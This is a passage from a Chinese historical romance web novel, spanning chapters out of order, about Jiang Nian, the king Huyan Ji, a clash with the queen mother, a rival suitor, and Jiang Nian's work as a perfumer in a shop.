那冷冽略带力量感的声音响起时,阿星的心跟着漏了一拍,不敢相信这声音在对她说话。
“回大王的话,是。”
接着那声音又道:“跟在我身边罢……”
第119章 你身上怎么这样好闻?
呼延吉特意下了一个早朝,平时散朝后还会同臣下在议政殿坐一会儿。
今日提前散朝,一出大殿径直来了祥云殿,也不让人通传,就阔步走了进来。
他就见那道纤薄的身影,腰板挺直地跪在殿中,碎光斜在她的头身上,落在她周围的地面,空气里还有蓝色的灰尘打着旋。
她在笑声里显得那样安静。
呼延吉的心狠狠地抽了一下,在他的印象中,江念不是这样,她变了,那并非一种值得让他高兴的改变。
他将她捧在手心,江家人将她捧在手心,这种躬身下的顺服,不是她,那不是她该有的姿态。
因为他,一切都是为了他……
江念将笑声隔开,沉在自己的思想里,连上首的笑声几时停的也不知,当她感知到时,手臂上多了一个力道,将她从地上拉起。
她回望过去,不是别人,正是呼延吉,此时殿中人除了高氏,俱伏地跪下。
他环护着她走到一侧的座椅边,轻声道:“阿姐,坐下。”
江念不知他怎么这个时候来了,预感接下来有事要发生。
待江念落座后,呼延吉走到高太后右手边的上座,撩衣坐下。
高氏到底有些心虚,不知他是何意,开口道:“梁妃过来请安,现下大王来了,把人带回罢。”
呼延吉缓缓点了点头,并不看高氏,开口道:“本王坐了这一会儿,连个上茶的人都没有,母后殿里的人好大的架子!”
伏跪的众人心底大叫冤枉,大王您不叫起身,咱们这些人哪个敢动?既然不能动,又如何给您上茶水?
众人心中叫苦,却听上首君王一声吩咐:“来人!”
立时从殿外进来十几名银甲亲卫,一进来,整个殿里的空气都往下沉。
“每人二十大棍,拉下去,打罢。”呼延吉将身子往后仰靠,闲闲说道:“儿子今日有时间,就在这里替母后教教奴才们规矩,儿子也知母亲最是讲规矩的一人,刚才隐约听到《内训》二字,虽未拜读过,不过从那字面便知,内训!内训!就是从内部开始教训。”
高氏听后,两眼直瞪瞪,差点喷出一口老血,这小混账说的什么歪理?!
呼延吉不睬她,淡漠道:“开始罢。”
亲卫将殿中的奴才一个一个往外拖,只听得殿外棍子落在肉上的“啪,啪——”声,又清脆又响亮,却听不见人声,只因亲卫怕扰到君王,便将宫人的嘴塞住,不让其发出声音。
高氏气得脸色发青发灰,两腮松弛的肉打着颤儿,这哪是在打那些奴才们,这是在打她的脸呐!
外面的每一声,都结结实实地落在她的脸颊上,火辣辣地烧疼。
朵妲儿同朵氏仍伏跪在地。
斜光中,朵妲儿发现地上零星的影闪闪晃动,不知是什么东西,遂抬眼看去,惊了一下,那晃动的东西是长姐头上的坠苏,坠苏晃动是因为人在发颤。
她那位一向高高在上的长姐居然止不住地颤抖。
朵妲儿心惊,怎的怕成这样?
江念展眼看去,整个殿中,只有三人坐着,那三人便是上首的高太后、呼延吉,还有下首的她。
再就是不时进出的亲卫,把跪伏在地面的祥云殿宫人架出去。
她望向呼延吉,想要起身说两句,毕竟宫人们无辜,却见呼延吉暗中朝她压了压手,只好静静地端坐在那里。
她明白,他这是故意惩戒祥云殿的宫人压高太后的气焰,如此大动干戈,也是为了让王庭所有人知晓,让所有人看清,她的背后有他,她不是可以被随意对待的,他在给她做脸。
“逆子!逆子!”高太后拍着椅扶,气骂道。
“母亲莫要动怒,为我这么个逆子气坏了身子不值当。”呼延吉的语气很是随意。
殿外的刑杖声还在继续,殿里的宫奴已被拉出去七七八八,此时从外进来两名亲卫,走到高氏身侧立住脚,没有丝毫迟疑地将高氏身侧伏跪的一人拉起。
正是高氏跟前的女官,金掌事。
一向严肃寡面的金掌事这会儿面色也变了,意识到这次君王是真的恼了。
从前大王来祥云殿,哪怕圣太后不待见王,王并不在意,态度依旧恭敬,如今却为了梁妃公然威压太后。
她一把老骨头真要挨上几板子,板子还未打完,估计就得断气,正想着,架在她两侧的亲卫突然松开手,就听大王说道:“今日就免了金掌事的责罚,你是太后跟前的老人,平日该多劝着她一些才是。”
金掌事吁出一口气,连连称是。
呼延吉看了眼地上的朵家两姐妹,再从她二人身上移开,起身,走到高氏面前:“人也教训完了,儿子告退,母亲千万保重身子。”
高氏不语,扬手往呼延吉脸上扇去,她对这个小儿子半分都近亲不起来。
她也坚信小儿子对她没有多少亲情,两人维持着表面的平和,不过是身份使然,当然了,这个身份无关乎母子情。
高氏恨透了梁国,她将大儿子的死归罪于梁,归罪于梁人。
所以她对自小在梁国长大的呼延吉,便看哪儿都不顺眼,看哪儿都是错,这种偏执全无道理,高氏却不管那么多,她认为呼延吉能回来,是呼延成用命换的。
不然为什么他明明有两个孩子,现在只有一个了,因为一命换一命。
妇人的手高高扬起,也不管身旁有无有人,一记重重的耳刮就要落在呼延吉的脸上,预料中的巴掌声没有响起,挥动的手被另一只手截住。
余下的众人听见异动,不免抬头看个究竟,截住太后之人正是一直未曾出声的梁妃!
众人无不震诧当场,尤其是朵氏两姐妹和金掌事,她们就在高氏身侧,纵然跪着,眼角的余光也能让她们获悉正在发生的事情。
江念躬下身,轻声道:“大王对太后一片孝心,然,即便太后是母亲,也不能
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逾越君臣之礼,我大梁不止有规范女子行止的《内训》,还有一书《礼记》,其上有言‘子虽尊,母不得以尊临卑’,大王若有不是,太后可劝谏,不可动手辱之。”
江念说完,殿中安静得可怕,只有殿外“啪,啪——”的杖责声,没一会儿,那杖责声也没了。
她清楚,这一举动势必会让本就不喜她的高太后对她更加厌恶。
呼延吉代表最高皇权,数番为这个国家出生入死,才得以定乾坤,方坐稳王庭,高太后公然对呼延吉羞辱,折损其威信,岂止伤及天颜。
五上姓觊觎在侧,若君王威仪有失,怎能御下?!
江念想不通,太后既是呼延吉之生母,为何要如此行事?她也并不知,自她上前,呼延吉的眼睛就落在她的身上,没移开过。
呼延吉当然不会受下这一记耳刮,他料到他母亲的举动,却没料到江念的举动,更不会想到她接下来说的那番话。
适才,他见她跪在殿中,挺直的腰还有微垂下的头,在光尘中寂然的背影,他说她变了,为了他,她变得乖顺,变得忍耐,可有一点,自始至终未曾变过,她仍是那个为了他可以奋不顾身,挺身而出的江家女郎。
高氏面皮涨红,嘴里连连说着“好,好,好”,显然气极,沉了两息,字从牙间蹦出:“我打不得他,还打不得你?!”
说着就要扬手,却被一个声音揿住。
“母后!”只这两个字,再没有别的了。
高氏从小儿子嘴里听出了一丝隐隐的威胁,这威胁她当然是不惧的,就算他为君,却不敢对她这个母亲怎样,这也是她的倚仗,小儿子不敢对她不敬。
然而,高氏千算万算还是算漏了一点,当着呼延吉的面对江念动手,已然触碰到呼延吉的底线,而呼延吉的那一声“母后”,她当时并未知晓其中的意思,待明了时已经晚了。
呼延吉带江念离开后,殿中众人仍不敢起身。
高太后怔愣着,小儿子离开前的那一眼蓦地让她心漏跳一拍,浑身窜起寒意,最后只能自我譬解,是她想多了。
……
呼延吉同江念回西殿,路上两人各自坐着乘辇,没有言语,待进了西殿,呼延吉挥手让人退下,殿中只他二人。
呼延吉走到露台处,坐到泉水边的玉矶上,招手让江念上前,江念便走到他的跟前,侧身坐下。
“手指还疼不疼。”
她将手摊出来给他看。
他拿起她的手,好一番端相,原本好看的指甲短了一截,应是当时剔青核果时劈折,后来回到西殿让宫婢给她重新修剪过。
指头还好,红肿褪去了些。
“怎么今日下朝这么早?”江念问道,其实她是想问,他怎么察觉出异常的,不然不会那么凑巧,俨然专为她去的。
呼延吉没有立即回答,而是往她身侧靠了靠,问道:“你身上擦的什么香,怎么这样好闻……”
第90章 嫁人
两人看去,正是呼延吉走了进来,身后还跟着一人,女子圆圆的脸,眉眼弯弯。
“阿星?”江念惊呼一声。
阿星立在呼延吉的身后,对着江念微微一笑。
呼延吉走到江念身边,看向安努尔:“她嫁不嫁人,需得问过我。”
安努尔笑了笑,站起身:“自然要征得家人的同意,可我觉着延吉没理由拒绝,安家在徽城还是有些头脸的,阿念若是嫁于安家,我自当好生对待,你是她阿弟,难道不希望她好?”
呼延吉冷笑一声,也不看安努尔,只是看向江念,沉着腔子:“你说话,嫁不嫁?”
江念很见不喜他逼问的态度:“我嫁不嫁人,几时嫁,嫁给谁,同你没干系。”
呼延吉先是怔了怔,急道:“你……你从前怎么跟我说的?”
江念知道他在说什么,那年他向梁帝请旨赐婚,她让祖父进宫阻下,没多久夷越使臣来梁接他归国,离开的前一夜,呼延吉来找她,不讲理得逼她应他一件事。
只要他一日不娶妻,她就一日不嫁人。
那晚已是深更,他翻墙而入,闯入她的闺房,她担心被人撞见,只想快些打发他走,便随口应下了。
江念看向安努尔:“安阿兄,我今日身子有些不适,容我再休半日,可以么?”
安努尔关心道:“我送你回,再请个大夫给你瞧一瞧。”
“无事,就是有些没休息好。”江念辞过,不再多说,往店外走去。
回到桂花巷,江念不理呼延吉,只叫阿星进了她的屋子。
“今日才到的么?”江念笑问道。
阿星在江念面上看了两眼,不知该以什么态度答话。
来的路上她已知道了一些,大王带她出来是让她来伺候江念的,江念安好,并没有失踪。
阿星先是站起身,就要向江念躬身行礼,却被她担起:“坐着说话。”
江念看出了她的局促,一时弄得她也有些讪讪的,再也没有从前的亲昵感。
“阿星,你跟我不必这样,随意一些。”
阿星这才抬眼看向江念:“你同阿月出宫,就没再出现,是出了什么事?后来阿月也不见了。”
“这件事情,一句两句说不清楚,你也别问了,我另外有事同你说。”
江念隐约知道是阿月坑害她,若不是那名店伙计放她一条生路,她已是黄土枯骨,她曾告诉自己,阿月是有苦衷的,可自己的命也是命。
“阿念,你刚才说有事同我说,什么事?”阿星问道。
江念想了想说道:“大王让你到我身边伺候,对不对?”
阿星点了点头。
“那你可愿意?”
阿星默了一会儿,方道:“自然是……愿意。”
江念在她面上端相一眼,又道:“如果我同你说,我再也不会回王庭呢?你可还愿意跟在我身边?”
阿星不过一个王庭的低等女婢,身为君王的呼延吉让她怎么,她只能怎样,没有选择的权利,没有拒绝的资格。
江念见阿星说愿意时面色有异,便又道出自己不准备回王庭了,她可还愿意跟在自己身边。
她对呼延吉说不愿回去,并非一时赌气,而是另有原因,所以无论呼延吉怎样厮缠,她都不松口。
阿星听此一说,赶紧反问:“为何再也不回王庭了?”
“你先回答我的话,如果我再也不回王庭,且……终有一日,我会回梁国,回自己的故土,你可愿意跟在我的身边?”江念问得十分认真。
阿星垂下头。
她原以为是调她到正殿当值,还小小地欣喜了一下,结果不是,见到江念她自然是高兴的,可高兴归高兴,她却不情愿离开王庭。
更不情愿在江念身边伺候,心里总是有股说不出的别扭,在她心里,江念应当同她一样,是听人使唤的奴才,怎能当主子?
江念见她这副神情,便明白了,也很能理解,别的不说,阿星还有家人在京都,自然是舍不下的。
“无事,你的意思我已明了。”
阿星抬起头,眼中闪过一丝紧张:“可是大王他……”
“不必担心,我去同王说明就好了。”江念拍了拍她的手,心底仍是有些可惜,短短几个月的工夫,好像有什么变了。
江念领着阿星出了房,让秋月带她去街上转一转。
待两人走后,江念敲开对过的房门,走进屋中。
呼延吉倚靠在窗边,头也不转,侧头看向窗外:“我把那丫头带来了,你从前不是一向跟她好么,快把那个叫秋月的撵走。”
江念坐下,淡淡说道:“我几时说要留下阿星了?你让人把她送回王庭,无须在我跟前伺候。”
呼延吉收回眼,转到江念身上。
“我送你的人你不要,那个安努尔送你的人你就留着?”**自己还要怎么做,已经将姿态放到最低。
今日听见安努尔想要娶她为妻,他简直不敢想,若他没有正巧撞到,她指不定就应下。
江念看向呼延吉,似是细雨落沙一般,叹道:“吉儿……”
就这么一声轻唤,便让对面的年轻男子一扫愁烦,睫毛轻颤间,一双琥珀色的眼眸重燃星火,兴兴地拉着凳子坐到她的身侧,等她接下来的话。
江念觉着有些话还是说明白的好,免得他成日在她身边跟头跟尾。
“之前我说的那些话并非气话,也并非故意怄你,我是真不打算同你回王庭。”
“理由呢?”男人也静了下来。
江念直言道:“若我同你回王庭,你打算怎么安置我?”
呼延吉松下一口气,轻笑道:“原来是担心这个,回了王庭你自然跟在我身边,我在哪里你便在哪里,是不是担心我再遣你回教**司?我同你保证,再不让你去那里,你日后在西殿想怎样便怎样,可好?”
江念摇了摇头:“何必装糊涂,你明知我指的不是这个。”
呼延吉终是正了脸色,在江念脸上端相了好久,启口道:“我现在没法给你身份。”
“是啊,所以
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我同你回王庭算什么?”江念换了语调,郑重再问,“若妾幸蒙恩渥,位次何属?奴妻么?”
呼延吉默然不语,他现在没法给她一个回答,或者说没法给她想要的回答。
夷越表面看似平和安泰,也只是表面看起来而已,对外,他要抵御大梁,对内,还要压制五上姓。
上姓氏族不仅各自拥兵,朝中党羽众多,盘根错节,且上姓氏族间又相互联姻,如今他唯有拉拢夷越世家与其制衡。
这也是为何他要留朵氏在王庭。
朵氏是一面挡箭牌,至于能挡多久,他自然希望越久越好,但终不是长久之计。
如今他坐到这个位置,岂能尽遂本心?不是他想怎样就能怎样,手握皇权,皇权犹如那千钧之鼎,稍有不逮,必遭其覆压。
他需要时间,想要削除五上姓势力不在朝夕之间,在此之前,他没法给她任何保证,他甚至不能保证此生只她一人,必要之时,他会同上姓联姻,娶上姓之女,让其为己所用,从而给自己争取更多的利处,再逐一瓦解削弱上姓氏族。
江念见他不语,心中虽早已料定,仍是有些伤戚。
“江念,我最后再问一遍,这是最后一遍,你若不愿,我不强求。”呼延吉放缓语调,“真不愿随我走?”
江念搁在双膝上的手紧紧蜷着,掐着手心,疼疼地呼出一口气:“我就留在徽城了,先赚些银钱,之后……想办法找江轲,或是让他来找我。”
江轲是她在世唯一的亲人。
说罢,江念出了呼延吉的房屋,前脚刚进自己的房屋,后脚就听到院门开阖的声音,她回走到对过的房门前,门开着,人已去。
这一日,她再没见到呼延吉,亦没见到阿星。
秋月做好晚饭,摆上桌,在院子里喊叫了一声:“阿姑,晚饭好了,起来用饭。”
江念从床上撑起半边身子,额穴一跳一跳的,抬手揉了揉,再将轻纱帐掣起,院中已点上灯。
她趿上鞋,随意披了一件外衫,胡乱把头发绾在脑后,出了房屋,院桌上已摆好菜馔。
秋月拿来碗筷:“阿姑白天就没好好吃,晚上这一顿好歹吃一些,知道你今日胃口不佳,我特意做了清淡的菜馔。”
江念笑了笑:“你也坐下吃罢。”
秋月得了话,这才坐下。
“阿姑,今儿那个叫阿星的走了呢,怎的才来一日就走了?”
江念咽下嘴里的饭,轻声道:“回家了罢!”
秋月点点头,替江念舀了一碗清汤:“这汤用小鸡伴野菌菇熬煮的,很是鲜美,阿姑尝一尝。”
江念接过,舀了一勺放到嘴里,秋月想要拦阻已是来不及,就见女人“嘶——”了一声,嘴唇刚碰到汤就缩了回来,同时将汤匙快速拿远,睫毛猛地颤了颤,呛得眼眶瞬间浸出泪花。
“快喝些凉水津一津,这汤一直在灶上煨着,才从砂锅里舀出……”
秋月的声音渐渐弱了下去,只因女人眼里滚出的泪珠越来越多……
第91章 别动,别动……
秋月拿起绢帕替江念拭眼底的泪儿。
她隐约知道阿姑为什么哭,大约是小郎君走了的缘故,小郎君在的时候,阿姑嘴上虽没说什么,可她看得出来,她的心情很好,小郎君在外吃酒,那么晚了,她也要等他回了才睡下。
江念拿过帕子,将腮上的泪拭净,笑了一笑:“莫要取笑我,喝个汤把自己给烫哭了。”
秋月把江念那碗菌菇汤端起:“婢子给阿姑舀一舀,一会儿凉下来就可以喝了。”
江念笑着点点头。
用**后,秋月备上热水,江念回房沐身,盥沐毕,换上干净的寝衣,踢掉鞋,上了窗榻,从旁拿过一块薄衾,垫在窗栏上,自己便枕着衾被透过窗隙吹晚风,看着院中淡淡的蓝色调。
秋月将房间收拾干净,待一切忙好,拿了小烘炉来,给江念烘干湿发。
“不用了,你去歇息,我再坐一会儿,待头发干了便睡。”江念说道。
秋月摇了摇头:“头上湿着,可经不住夜风吹,仔细头痛。”
江念微笑道:“把烘炉给我,我自己来,你也忙碌了一天,去睡罢。”
秋月这才没说什么,将暖炉递到江念手里,回身到床榻边,在脚榻上铺了床盖,躺下睡了。
女人手里握着暖炉,并没有拿来烘干发丝,她的指尖在金铜炉身缓缓地摩挲着,像要把一腔子心事都摁进炉身里。
不知几更天时,炉身凉了,指尖也凉了,那一头如绸的柔发染上青蓝色的月华,披散下来,缱绻堆在腿边。
江念整叠好窗栏上的衾被,探出身就要取下窗撑,“笃,笃——”的叩门声在寂静的院中响起,心道,这么晚了,会是谁,遂系上外衫,拢起发,下了窗榻,出屋,走到院门前。
“谁?”
“阿念,快开门,是我。”
是石儿禄的声音,声音里有丝紧迫,夜重深更的,他来做什么。
江念抽开门闩,昏暗的门影里站着三人,一个石儿禄,一个安努尔,两人中间架着一个蔫头耷脑的男子。
纵使看不清脸,她也一眼认出了中间那人,不是呼延吉却又是谁,三人身上都带了酒气,身后还立着几个小厮,遂让开身,让两人将人搀扶进房,安置到床榻上。
石儿禄瞥见江念脸色有些难看,怕她起怨嗔,赶忙解释:“昨儿是我请的,今日轮到安努尔了,仍是在华兴楼治的酒席,阿念,我可没故意灌你阿弟酒啊,他倒好,把羯田几个喝倒了不说,又自顾自喝起来,我同安努尔拦都拦不住,还把我们拉着一起喝,不是我俩控着一点,咱哥仨今夜都要在华兴楼躺一宿。”
江念看向安努尔。
安努尔坐在桌边,头醉沉得很,这小子灌酒的架势很是生猛,简直让人难以招架。见江念看来,抬起一张潮红的脸,点了点头,算是承认了石儿禄的话。
石儿禄抚了抚额,叹出一口酒息,又道:“依我看呐,你阿弟有事情闷结在心,今夜吃酒时我看他那样子很不对劲,且这闷结多半因为女人,等他酒醒了你同他谈一谈,好男儿何患无妻,怎至于为了一个女人伤身。”
安努尔撑在桌边,缓了几息,站起身走到江念身边:“把秋月叫来罢,让她伺候,他醉成这样,你怎样招呼得了。”
江念看了一眼床榻上醉得人事不省的人,微笑道:“无事,劳你们带他回来,你二人也醉得厉害,赶紧归家歇息罢。”
安努尔点点头,叫上石儿禄离开了。
待二人走后,江念闩了院门,打了一盆水走回屋中,侧身坐到床沿,目光轻落到男人的醉颜上,怔怔地看了好一会儿,然后抬手揾了揾他醺红的面庞。
男人似有所觉,沉沉的醉意中捉住那手,眼似睁非睁地看了过来,掌心稍稍带出力道,将那手摁在胸口。
“阿姐,你是不是不要我了?”男人喃喃道。
江念不语,就那么任他抓着她的手。
他将她的手抓得更紧了:“你真的不要我了……”隔了一会儿,他撑起半边身子,艰难地坐起,盘起双腿,微垂着头,把玩她柔白的指,“让我再住些时候罢。”
江念说不清心里是什么滋味,只是淡淡地“嗯”了一声。
这一刻她真实悟得,人和人不论前缘再深厚,终有一天会走散,这世间有太多事情,不好说,不可说,她知道他有他的不得已,而她呢,向来是个私心很重的人,做不出太大的牺牲。
做不了那内助之贤,亦无法助夫成德。
她深知这是一条多么艰难的路途,一旦踏上,那路上的艰辛和无奈只有自己品味。
在可以多妻的夷越,她在呼延吉身边连一个妻的位次都不是,她梁人的身份仅仅只能是奴妻。
他需要强有力的支撑,而她呢,早已是个无家之人,什么都没有,她助不了他,不仅助不了他,还需他分出精神看护她,说直白一点,她就是一个累赘的包袱。
女人低下头,将毛巾在水里浸透,摆了一摆,再提起拧干,耳边的缕发随着动作落下,一头乌发绾在脑后,露出一块柔腻的粉颈。
呼延吉很想在那里吻一吻,终是忍住,只是抬起手,在她头上抚了抚。
江念手上的动作一顿,扭过身,将拧得半干半湿的毛巾递到他手里:“擦一擦脸。”
男人接过毛巾,仰头歪倒在床上,也不褪靴,把毛巾往面上一盖,不言不语,有些无赖的调性。
江念只好从他面上拿起毛巾,胡乱在他脸上擦了两
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下,刚要转身,却被他的力道带倒。
也就是一瞬的事,人已被呼延吉揽在了怀里。
“你松开。”江念挣扎道。
“不放。”呼延吉埋首于女人颈窝间,闷声道。
他没想到她真能狠心丢下他。
“呼延吉!我可恼了。”江念说道。
“恼也不放。”多久没听她这样直呼自己了。
江念哪挣得过他的环锢,气得握拳往他身上捶打,然而,下一刻又是一怔,衣摆在挣推中被撩起……
她感觉到时,上身的衣摆已被撩起,一双大手舒到衣里,抚上她的腰肢,呼延吉这是打算不顾她的意愿霸王硬上弓,让她不得不妥协?
想到这里,越发挣扎得厉害。
“别动,别动……”男人的鼻音有些重,“我手凉,在你腰上渥一渥。”
那微凉的手舒在她的腰间,果真没再动作,就那么掐在她的腰窝处。
“你看你吓的。”男人语调中带了一丝笑。
江念吁下一口气:“你这人,心性乖戾诡谲,难说得很。”
“那是对外人,对你几时有过假意。”男人说着,从她的颈项窝间抬起头,透过幽暗的光,直直看向她,“那句话还作不作数?”
江念愣了愣,不说话。
“作不作数?”呼延吉可没打算放过她,见她不回答,双手在她腰间咯吱。
江念身子敏感,又最是怕痒的一人,被他一挠,咯咯笑起来,在这深夜里却又不敢大笑,只能讨饶:“作数,作数,快住手……”
呼延吉却不停手,坏心眼地说道:“你把那话说给我听,我要亲耳听你说。”
江念默然了一会儿,说道:“你一日不娶妻,我一日不嫁……”
这回答似是让他满意了,服帖地抵上她的额,他现在什么也不敢承诺,却自私卑劣地让她等他。
只因为他离不开她。
次日,江念仍是起了一个大早,待秋月将她梳洗好,便走到对过的房间,果然,门扇开着,床榻上又是空的,知道他定是牵了驴车在巷口等她。
“阿姑,我做了卷饼,给你包着,你带去店里吃。”秋月说着走进灶房,拿了一个油纸包出来。
“再拿一个罢。”江念说道。
秋月笑道:“给阿郎的罢,包在这里面了,够吃的。”秋月用细麻绳将油纸包系好,递到江念手里。
江念看了眼油纸包,笑着嘱咐了几句走出院门。
秋月送她到院门,望着她走到巷子口被小阿郎抱上板车,然后阿郎侧坐到车辕上,赶车离开。
她家阿姑只怕自己没察觉,小阿郎一回来,她那嘴角一直噙着微微的弧度。
唉!大爷再怎么费尽心力,终是抵不过人家青梅竹马……
第92章 女人香
路上,江念拆开油纸包,拿出一张卷饼递给呼延吉:“拿着。”
呼延吉笑着接过,就着吃了一口:“这丫头的厨艺还不错。”
江念笑道:“你还让我把她撵走,我可是舍不得,一看见她我就想起秋水那丫头,不知道她现在好不好……”
呼延吉咽了咽,开解道:“她一个丫鬟,卖到哪家,哪家就是她的主子,有什么好不好的,你快别多想。”
江念点点头,告诉自己,秋水鬼灵鬼灵的,一定能护好自己。
“我还是再给你指派一个丫头罢,你那院子指望她一个人照看也辛苦不是?又要烧火做饭,晚间还要给你烧热水,光那一大桶水,就劳人得很,还不说其他细碎的事。”呼延吉说道。
江念想了想,这话说得倒是在理,她这个人事情又多,一会儿这样,一会儿那样,以前讲究惯了,有些毛病不知觉就滋冒出头,譬如每晚都要沐身,沐完身,还要从头到脚搽香膏。
每日菜馔也讲究,必要有荤有素有汤,院子里还要有花,那花又需格外看顾。
“你从哪儿弄人来,那些宫婢一个个也不愿下到民间,我也不愿要一个心不甘情不愿的人来伺候。”
呼延吉笑了笑:“有钱还怕买不到听话的人,这事就不消你操心了。”
江念也不反对,秋月身边若能有个人搭把手,也轻松一些。
“要我说你别在这香料店做了,我让人搬几箱金锦来,你爱怎么花便怎么花,花完了我再给。”呼延吉甩了甩手里的绳鞭,闲闲说道。
“赚钱是一方面,主要我也爱调香,何乐不为呢?”
“那你在家中调制不也一样么,少什么我让人给你买来,每日巴巴往店里跑,图什么。”实是他有些忌惮安努尔,若他走了,担心两人每日朝夕相对,日久生情。
那男人看起来云心月性,实则很有心计,闹贼一事多半出自他手,但他没有证据,若告诉江念,她指定不信。
他不想因为这点子事再生嫌隙。
江念倒是很有耐心,说道:“在家中调香那就是闭门造车,在店里不一样,有客人上门,从他们的言语中能学到更多,都是书上学不到的。”女人不知想到什么,笑了一声,“我要调制一款独一无二的香。”
呼延吉也笑了,侧过身子,看了眼她手里啃了半截的卷饼:“你还吃不吃,我没吃饱。”
江念把自己吃剩的饼让给他:“吃罢,我一向吃得少。”
呼延吉接过那饼,三两口塞到嘴里。
两人说话间,到了四季轩门前,江念进了店,呼延吉往里看了一眼,重新坐上驴车,甩着鞭离开。
进了制香隔断间,江念先给自己倒了一杯热茶,喝了半盏,然后照往常一样整理香料。
天大亮后,晨雾散去,街市上变得熙攘,人声热闹,店里往来客人变多。
因店中生意变好,掌柜的又另招了两个伙计,除开制香师,加上原先的两名伙计,现下店里一共有四名伙计。
“阿姑,烦你来一下。”前面的店伙计叫了一声。
江念听见,放下手里的香匙:“就来——”说着在旁边的面盆净过手,拿绢帕拭干水渍,去了招客的厅堂。
前面的客堂里挤了好些客人,有男有女,衣着打扮皆是不菲。
掌柜的往里张望,见江念走来,笑得手脚没处放,他真是招了个宝。
不仅能调香,还能给他家招客。
从前客人到四季轩来,十个人里有七人进来看一眼,问询一下价,就走,多半是不买。
自打有一日店中伙计告假,他让江念抽空到客堂帮忙招呼,也是稀奇,从那日之后,店里便多了许多男客,来了后便点名让制香师来说道。
只要江念出面说两句,不论那香料是贵是贱,他们都会买下来。
再后来,男客们的女眷面色不善地找上门,男客则讪讪地随在后,有些抬不起眼的样子。
女客们一进店也是指名找江念。
那些贵妇们见到江念后,先是将江念打量一番,皆以为自家男人被这女店工迷住,本打算借买香料言语刁难于她,谁承想,一番往来,贵妇们**念夸赞得心中熨帖,心情大好。
试问,一个长相绝美女子的夸赞,谁不受用?且那些话并非谄媚之言,而是真真实实地说到人的心坎上,既精于术业且竭诚。
江念出身极贵,自小便是金银堆里的人儿,偏她又好繁华美物,养成不凡的品位,这样一个人说出来的话,很难不让贵妇们信服。
到后来,不论男客女客,进店选品,但凡拿不下主意,便让店伙计请江念出来,只消她稍稍说上两句,客人们不再犹豫,欢欢喜喜掏银子。
就这么的,名声传了出去,四季轩里的制香师可帮客人选品,不迎合讨好,言辞中肯,从而店中生意越来越好,别的香料店都赛不过他家生意。
这当中最高兴的莫过于店掌柜,虽说四季轩的东家是安家,可他作为掌柜的,店中的利钱亦有他的两成,他自然盼望生意好。
“江香工,你来,你来,客人有些不定拿哪一样。”掌柜的也不叫江念丫头了,直接改口江香工。
当然了,这个仅限于江念,店里的其他制香师可没有这个待遇,譬如老巴,仍是老巴。
那名扮相富态,面上抹粉,盘着粗辫的贵妇人,见江念走来,笑道:“你帮我择一种,这两个膏子我闻着都不错,倒不怕费银子,就怕买着不适用于我。”
江念微笑着接过两盒膏子,放鼻下轻轻一掠,思了片刻:“若我是夫人的话,就要这盒夜宴玉体香,另一盒香膏自然也是好的,只是这玉体香更符合夫人雍容的韵味。”
妇人听罢,心中已是有了定夺,江念却没有任何敷衍,态度诚恳的继续说道:“此香以檀香加牛乳收干,拌入融化的蜂蜡,还调入了玫瑰露,浴后涂抹于颈后,暗香随体温渐变,有似牡丹绽放,正合夫人。”
江念说着,又看向另一盒:“这一盒香味清淡,香调也是好闻的,就是太雅了。”
妇人连连点头,掩嘴笑道:“可不是呢,我就觉着这个玉体香更好,你把我心里的话都道出来了。”说着指着店伙计,“就这个了,替我包上三盒。”
这时又走来一伙计,请江念去幕帘后,说客人有请。
江念随店伙计去了珠帘后,亦是一位贵妇人,较之刚才那位雍容妇人,这位看着更为端丽,妇
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人身后立着好几个衣着彩丽的奴仆。
“香工,你来坐。”妇人看了眼对面的座位。
江念依言坐下。
贵妇人看着托盘上十几个精美香盒,说道:“这些香我闻着都还不错,打算拿来送人,你替我看看如何,有无什么忌讳?”
“夫人打算送长辈、晚辈还是友人?”
“是我在定州的一位闺中姐妹,多年不曾见过,她嫁到那边,因那边是梁境,我也一直没去探望过,一直都是书信往来,这不,如今定州归拢到咱们夷越了,便打算趁这个机会去那里一趟,看一看她。”妇人说着,突然回过神来,笑着拊掌,“看我这嘴,香工莫怪,不该当你的面说这些。”
贵妇人说罢才想起面前的女子是梁人。
江念笑了笑:“哪里的话,怎会见怪,夷越就是我的第二处故乡,咱们老百姓也只想过太平日子。”
“是了。”
“夫人既是送闺中姐妹,这些香都可送的,并无忌讳。”
江念只扫一眼,已从香盒辨出各种香品,送香也有忌讳,譬如有些香用作帐中香,便不能送长辈。
贵妇人满意地点点头,又道:“你再为我先一款特有的香,我留给自己用。”
江念思忖道,这位贵妇人是四季轩的常客,店中香品几已购置,遂问道:“夫人打算几时往定州?”
“再过两三个月,待我家老爷把手头的事情处理了便要动身。”
江念算了算,说道:“待到那边应是深秋了,那边的秋季不比这里气暖,很是寒凉,夫人需多备些御寒的衣物。”
贵妇人点头笑道:“香工说的是,衣物已然备下了,去了那边,也是住在我那姐妹家中,她家境况尚可,各屋都燃有暖壁。”
“夫人若等得,我正要调制一款暖壁香,本是留着我自己用的,泥末状,涂抹于壁,壁暖时,辛香盈室,待烘干时自行从壁面脱落,正适合冬日烘烤,这香自己用好,送人也不忌讳。”
江念又道:“此香中含有桂草、丁香、艾草灰、橘皮,温而芳,悠悠暖香,辛而不呛,窗外寒风大雪,屋内却气暖如春……”
还未说完,贵妇人已是迫不及待欢喜道:“香工,我就要这个,你替我调制了,多调一些,我自己留用,另再送人。”
两人又细细说了些话,外面还有好几波客人等着问询,江念忙忙碌碌一上午,到了中午才喘口气,刚走进制香隔间,就见安努尔坐在那里,正在翻看桌案上的香谱。
“看来我得给你涨工钱了。”安努尔笑道。
江念给自己倒了一杯茶,捧在手里,轻轻抿了几口润喉,微笑道:“东家是该给我涨工钱,我一人可抵得上两人了,得给我开双份。”
“这个要求不过分,不如你到我安家来,别说双份,多少份都是你说了算,如何?”
这是真心话还是玩笑话,又或是借着玩笑道真心,江念笑着不再言语,只顾喝着手里的茶。
安努尔嘴角仍是带笑,温声道:“阿念,你坐一坐,我有话和你说。”
江念点头,走到他的对面坐下。
男人将手里的香谱放回桌案,认真问道:“那日我的话,你可曾认真想过……”
第93章 又不是亲姐弟
安努尔的意思再明了不过,他喜欢眼前这个女子,不得不承认,一开始他被她花一般的容貌吸引,他是个男人,是男人便逃不过这一劣根性。
后面,他使了小手段,让她院子闹贼,原以为她会害怕寻求依助,只消他稍稍一开口,抛个话引,她必然就应下重回安家,求一个庇护。
稀世之美人儿哪有不娇弱的,然而,他料错了,她手执木棍不见丝毫退缩,还特制了迷香粉。
一个小女人,哪就这般大的胆子。
